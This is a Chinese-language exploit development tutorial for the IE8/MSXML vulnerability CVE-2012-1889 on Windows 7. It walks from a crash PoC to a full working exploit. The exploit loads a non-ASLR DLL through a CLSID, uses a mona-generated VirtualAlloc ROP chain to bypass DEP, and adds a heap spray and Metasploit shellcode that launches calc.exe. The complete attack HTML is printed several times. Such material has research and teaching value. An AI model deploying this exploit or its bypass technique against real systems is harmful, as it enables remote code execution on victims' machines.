CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP

前言
在xp下写利用代码不需要考虑ASLR+DEP的问题，在win7下一般是通过msvcr71.dll进行rop利用，在没有安装java的情况下则不会加载msvcr71.dll，本人也是好奇如果电脑没有java环境那这个漏洞怎么利用? 有没有别的利用办法？选择这个漏洞是因为这个漏洞简单暴力，相对于其他漏洞更加便于利用。

实验环境
操作系统：Windows 7 sp1 32位

浏览器：IE 8.0 7601.17514

调试器: IDA、x64dbg、ImmunityDebugger

其他工具:Metasploit

漏洞验证

漏洞触发poc(这是网上找到一个poc):

<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
var obj = document.getElementById('poc').object;
var src = unescape("%u0c0c%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>

异常基本信息:
在IE8中运行上面的poc代码，用x64dbg附加，在异常时eax和esi寄存器已经成功被构造成了错误的数值，从这个情况来看直接进行堆喷射就可以利用, 在退出程序之前需要在0x687EE2D9处下一个断点，因为在后面的调试过程中会用到

Exploit开发:

Metasploit生成shellcode：

生成C语言的shellcode使用以下命令 :
1.打开cmd输入msfconsole
2.use windows/exec
3.set CMD calc.exe
4.generate -t c

需要注意的是，这个shellcode是C语言的，需要转换成HTML的，可以自己写个小工具转换，也可以不嫌麻烦手动转，下面是我自己转换过后的代码

//[ Shellcode ]
var shellcode =
"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+
"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+
"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+
"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+
"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+
"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+
"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+
"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+
"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+
"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+
"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+
"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+
"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";...

加载一个未开启ASLR的模块：
在生成shellcode后还需要找到一个没有开启ASLR的模块来进行ROP的构造和利用，那么可以使用GUID去加载一个可利用的dll文件。

<html>
<object classid='clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F' </object>
</html>

ROP构造：

测试代码：

<html>
<head>
<title>CVE 2012-1889 POC</title>
</head>
<body>
<object classid="clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F"></object>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
 
//[ Shellcode ]
var shellcode =
"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+
"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+
"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+
"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+
"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+
"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+
"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+
"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+
"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+
"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+
"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+
"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+
"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";
 
//Vulnerability Trigger
var obj = document.getElementById('poc').object;
var src = unescape("%u0C10%u0F0C"); // fill the stack with 
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
 
</script>
</body>
</html>

在IE8中运行上面的测试代码，用ImmunityDebugger附加进程

附加成功后F9直接运行，然后点击浏览器警告并同意执行脚本，在脚本执行后会直接触发异常，这时候不用管，直接点击L按钮打开log日志，然后在命令框中输入!mona modules查看未开启ASLR的模块，很明显VsaVb7rt.dll没有开启ASLR也没有Rebase，说明这个dll可以被用来构造ROP链

输入!mona rop -m VsaVb7rt.dll命令，mona插件就会自动生成一个可用的ROP链给我们，而不需要自己手动去构造，大大的节约了开发时间，主要是手动找汇编代码这个过程肯定很累，需要注意的是mona生成ROP链模板的时候会很慢，我自己I7的CPU也生成了5分钟左右才生成出来，而且还是在一个核被充分利用的情况下

ROP链生成完毕后会输出到LOG日志中，但是复制粘贴比较麻烦，也可以直接在ImmunityDebugger根目录下的rop_virtualprotect.txt文件中找到

可以看出来这个ROP代码是调用VirtualProtect去绕过DEP的，在生成的ROP链中有一个很明显的问题，VirtualProtect 的地址是0x????????，也就是说地址是未知的，那么拿IDA来看一下dll的导入表

在dll的导入表中没有找到VirtualProtect，不过没关系还有VirtualAlloc，因为除了 VirtualProtect 可以改变页属性以外VirtualAlloc也是可以的，那么我们就用VirtualAlloc去绕过DEP吧，先来对比下这 VirtualProtect 和 VirtualAlloc 的函数原型，两个函数前面3个参数的数据类型都是一样的，只有第四个参数有区别，前者是PDWORD后者是DWORD，需要注意的是在32位程序下是没有任何区别的，在64位程序下就会有很明显的区别，这是因为64位汇编的寻址模式导致的，由于本次利用仅在32位IE下进行，所以并不需要考虑64位的问题，对64位有兴趣的同学可以自己调试分析。
除了参数的数据类型的区别外，还有参数的作用区别，不过这个没多大关系，只需要把ROP链中VirtualProtect的参数改为VirtualAlooc的参数就可以了，一样是可以用的。

BOOL WINAPI VirtualProtect(
  _In_  LPVOID lpAddress,
  _In_  SIZE_T dwSize,
  _In_  DWORD  flNewProtect,
  _Out_ PDWORD lpflOldProtect
);

LPVOID WINAPI VirtualAlloc(
  _In_opt_ LPVOID lpAddress,
  _In_     SIZE_T dwSize,
  _In_     DWORD  flAllocationType,
  _In_     DWORD  flProtect
);

堆喷射:
现在ROP链的模板有了，接下来还需要一个堆喷射，去把ROP链和shellcode的数据构造进内存指定的位置，以下就是堆喷射的代码，关于代码内容不做详细讲解

//堆喷射函数
function spray_heap()
{   
    var chunk_size, nopsled, evilcode, block;
                 
    chunk_size = 0x100000;
    nopsled = "\u0C14\u0F0C";
                
    //nopsled是单个内存块的数据
    while (nopsled.length < 0x1000)
        nopsled += nopsled;
        
    var len = 0x163;
    padding1 = nopsled.substring(0, 0x10);
    padding2 = nopsled.substring(0, 0x153);
    evilcode = padding1 + rop_chain + shellcode + padding2;
    //console.log("evilcode.length:" + evilcode.length);
    while (evilcode.length < chunk_size){ 
    evilcode += evilcode;
    }
    block = evilcode.substring(0, chunk_size);
    heap_chunks = new Array();
    //堆喷射 分配200块大内存
    for (var i = 0 ; i < 200 ; i++)
        heap_chunks[i] = block.substring(0, block.length);
}

Exploit 代码:
在经过了前面ShellCode、ROP Chain、SprayHeap构造的过程后，只需要稍微修改下ROP Chain就可以了，以下是经过精心修改后的完整利用代码

<html>
<head>
<title>CVE 2012-1889 POC</title>
</head>
<body>
<object classid="clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F"></object>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
 
//Shellcode
var shellcode =
"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+
"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+
"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+
"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+
"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+
"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+
"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+
"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+
"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+
"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+
"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+
"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+
"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";
 
//ROP Chain
var rop_chain =  
"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]
"\u226B\u5E29" + // 0x5E29226B # pop ebp # retn [VsaVb7rt.dll]
"\u1AD2\u5E2C" + // 0x5E2C1AD2 # xchg eax, esp # retn [VsaVb7rt.dll]
"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]
"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]
"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]
"\uF204\u5E28" + // 0x5E28F204 # retn [VsaVb7rt.dll]
//real rop chain
"\u0ce4\u5e29" + // 0x5e290ce4,  # POP EAX # RETN (VsaVb7rt.dll)
"\u113c\u5e23" + // 0x5E23113C,  # <-ptr to ptr to VirtualAlloc() 
"\ue467\u5e28" + // 0x5e28e467,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (VsaVb7rt.dll)
"\u2dd6\u5e33" + // 0x5e332dd6,  # XCHG EAX,ESI # RETN (VsaVb7rt.dll)
"\u824f\u5e2a" + // 0x5e2a824f,  # POP EBP # RETN (VsaVb7rt.dll)
"\u6f48\u5e28" + // 0x5e286f48,  # ptr to 'jmp esp' (from VsaVb7rt.dll)
"\u1802\u5e29" + // 0x5e291802,  # POP EBX # RETN (VsaVb7rt.dll)
"\u0000\u0000" + // 0x00000000,  # <- change size to mark as executable if needed (-> ebx)
"\uf986\u5e34" + // 0x5e34f986,  # POP ECX # RETN (VsaVb7rt.dll)
"\u0040\u0000" + // 0x00000040,  # newProtect (0x40)
"\u2803\u5e27" + // 0x5e272803,  # POP EDI # RETN (VsaVb7rt.dll)
"\u2804\u5e27" + // 0x5e272804,  # ROP NOP (-> edi) # alternative gadget - you may have to change order
"\u1802\u5e29" + // 0x5e291802,  ## POP EBX # RETN (VsaVb7rt.dll)
"\u0FFF\u0000" + // 0x00000FFF,  # AllocationType
"\ub5de\u5e34" + // 0x5e34b5de,  ## ADD EDX,EBX # POP EBX # RETN 10 (VsaVb7rt.dll)
"\u1000\u0000" + // 0x00001000,  # junk memsize
"\u0ce4\u5e29" + // 0x5e290ce4,  # POP EAX # RETN (VsaVb7rt.dll)
"\u4141\u4141" + // 0x41414141,  # junk, compensate
"\u4141\u4141" + // 0x41414141,  # junk, compensate
"\u4141\u4141" + // 0x41414141,  # junk, compensate
"\u4141\u4141" + // 0x41414141,  # junk, compensate
"\u9090\u9090" + // 0x90909090,  # NOPS (-> eax)
"\u05bb\u5e28"; // 0x5e2805bb,    # PUSHAD # RETN (VsaVb7rt.dll)
 
//堆喷射函数
function spray_heap()
{   
    var chunk_size, nopsled, evilcode, block;
                 
    chunk_size = 0x100000;
    nopsled = "\u0C14\u0F0C";
                
    while (nopsled.length < 0x1000)
        nopsled += nopsled;
        
    var len = 0x163;
    padding1 = nopsled.substring(0, 0x10);
    padding2 = nopsled.substring(0, 0x153);
    evilcode = padding1 + rop_chain + shellcode + padding2;
    //console.log("evilcode.length:" + evilcode.length);
    while (evilcode.length < chunk_size){ 
    evilcode += evilcode;
    }
    block = evilcode.substring(0, chunk_size);
    heap_chunks = new Array();
    //堆喷射 分配200块大内存
    for (var i = 0 ; i < 200 ; i++)
        heap_chunks[i] = block.substring(0, block.length);
}   
 
spray_heap();
 
//Vulnerability Trigger
var obj = document.getElementById('poc').object;
var src = unescape("%u0C10%u0F0C"); // fill the stack with 
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
 
</script>
</body>
</html>

Exploit 调试验证:

在IE8中运行上面的Exploit代码，用x64dbg附加进程，断点是之前收集异常基本信息时下的，目的是为了调试整个ROP执行流程，如果不知道如何下断，请看漏洞验证部分的收集异常基本信息，断点断下来可以看下内存基本布局，虚函数调用代码，关键是0x6ACCE2F7处的call指令